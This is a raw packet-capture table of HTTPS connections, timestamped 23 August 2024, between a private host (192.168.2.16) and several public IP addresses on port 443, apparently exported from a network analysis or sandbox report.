Aug 23, 2024 16:21:54.369971037 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.370063066 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.370106936 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.370112896 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.370594025 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.370636940 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.370646000 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371089935 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371123075 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371139050 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.371145010 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371182919 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.371186972 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371222973 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371265888 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.371411085 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.371418953 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371737957 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.371753931 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.371817112 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.372116089 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.372131109 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374165058 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374239922 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374273062 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374310970 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.374332905 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374376059 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.374452114 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374819994 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374850988 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374877930 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.374882936 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.374918938 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.374922991 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.375719070 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.375745058 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.375768900 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.375772953 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.375817060 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.375821114 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.377289057 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.377336025 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.377350092 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.377355099 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.377398014 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.377401114 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.377440929 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.377501011 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.377670050 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.377680063 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.383347988 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388170004 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388233900 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388258934 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388326883 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388331890 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388339043 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388401985 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388453960 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388495922 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388508081 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388513088 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388556004 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388674021 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388814926 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388829947 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388837099 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388860941 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388875008 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388884068 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388891935 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.388919115 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388942003 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.388946056 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389266014 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389300108 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389308929 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.389318943 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389355898 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.389444113 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389456034 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389486074 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389496088 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.389499903 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389537096 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389539003 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.389549017 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.389597893 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.389802933 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390243053 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390286922 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390316010 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390319109 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.390324116 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390347004 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390364885 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390408993 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.390423059 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390428066 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390436888 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.390438080 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390470982 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.390490055 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.390508890 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.390516043 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.390549898 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.391083002 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.391089916 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.391477108 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.391482115 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.425296068 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.425388098 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.425445080 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.425462008 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.425478935 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.425506115 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.425534964 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.425909042 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.425923109 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.843429089 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.843748093 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.843765020 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.844743967 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.844845057 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.845273972 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.845330954 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.845566988 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.845573902 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.893321037 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.898614883 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.898943901 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.898972034 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.900017023 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.900094032 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.901262045 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.901329041 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.901473045 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.901482105 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.941339016 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.034580946 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.034919977 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.034929037 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.035892010 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.035970926 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.036245108 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.036298990 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.036391020 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.036396980 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.039136887 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.040541887 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.040560007 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.040632963 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.040901899 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.040994883 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.041003942 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.041357994 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.041424990 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.041501045 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.041513920 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042001963 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042006016 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042082071 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.042246103 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.042299032 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042579889 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.042639971 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042649031 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042689085 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.042694092 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.042996883 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.043072939 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.043095112 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.043117046 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.048010111 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.048280954 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.048373938 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.048396111 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.048582077 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.048645020 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.048660994 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.048943996 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.049001932 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.049015999 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.056555033 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.056648016 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.056664944 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.056706905 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.056773901 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.057073116 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:55.057120085 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:55.066421986 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.066468000 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.066581964 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.066684008 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.066730022 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.066786051 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.066900969 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.066919088 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.066978931 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.067652941 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.067684889 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.068022966 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.068037987 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.068221092 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.068244934 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.069066048 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:55.069077015 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.069132090 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:55.070384026 CEST	49798	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:55.070394993 CEST	443	49798	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:55.071075916 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.071113110 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.071171999 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.073010921 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.073026896 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.085325003 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.085342884 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.085349083 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.085350990 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.133332014 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.142112970 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:55.142147064 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:55.142205954 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:55.142221928 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:55.142317057 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:55.142362118 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:55.142924070 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:55.142940998 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:55.142950058 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:55.142991066 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:55.320846081 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.334598064 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.334606886 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.334619045 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.334697008 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.334714890 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.334777117 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.413306952 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.413314104 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.413346052 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.413398981 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.413403034 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.413450956 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.413463116 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.420170069 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.420211077 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.420234919 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.420238972 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.420288086 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.420319080 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.420558929 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:55.420571089 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:55.526583910 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.526938915 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.526962042 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.527277946 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.527678967 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.527739048 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.527883053 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.527896881 CEST	49795	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.527906895 CEST	443	49795	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.531410933 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.531640053 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.531656981 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.531959057 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.532313108 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.532371998 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.532619953 CEST	49796	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.532649994 CEST	443	49796	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.532856941 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.533102036 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.533126116 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.534020901 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.534096956 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.534503937 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.534562111 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.534652948 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.534666061 CEST	443	49799	185.199.110.133	192.168.2.16
Aug 23, 2024 16:21:55.547175884 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.547410011 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.547420979 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.548413992 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.548479080 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.549314976 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.549381018 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.549489975 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.549499035 CEST	443	49797	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.580346107 CEST	49799	443	192.168.2.16	185.199.110.133
Aug 23, 2024 16:21:55.596347094 CEST	49797	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.643373013 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.643414021 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.643445015 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.643472910 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.643486977 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.643521070 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.643548965 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.643567085 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.643616915 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.643630981 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.644105911 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.644133091 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.644155025 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.644170046 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.644185066 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.644203901 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.646677971 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.646720886 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.646750927 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.646781921 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.646785975 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.646800041 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.646831989 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.646965027 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.647011042 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.647026062 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.647522926 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.647567987 CEST	49794	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.647576094 CEST	443	49794	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669239044 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669286013 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669327974 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669351101 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.669358969 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669372082 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669404984 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.669416904 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669462919 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.669467926 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669941902 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.669996023 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:55.670006037 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:55.670057058 CEST	443	49793	188.114.96.3	192.168.2.16
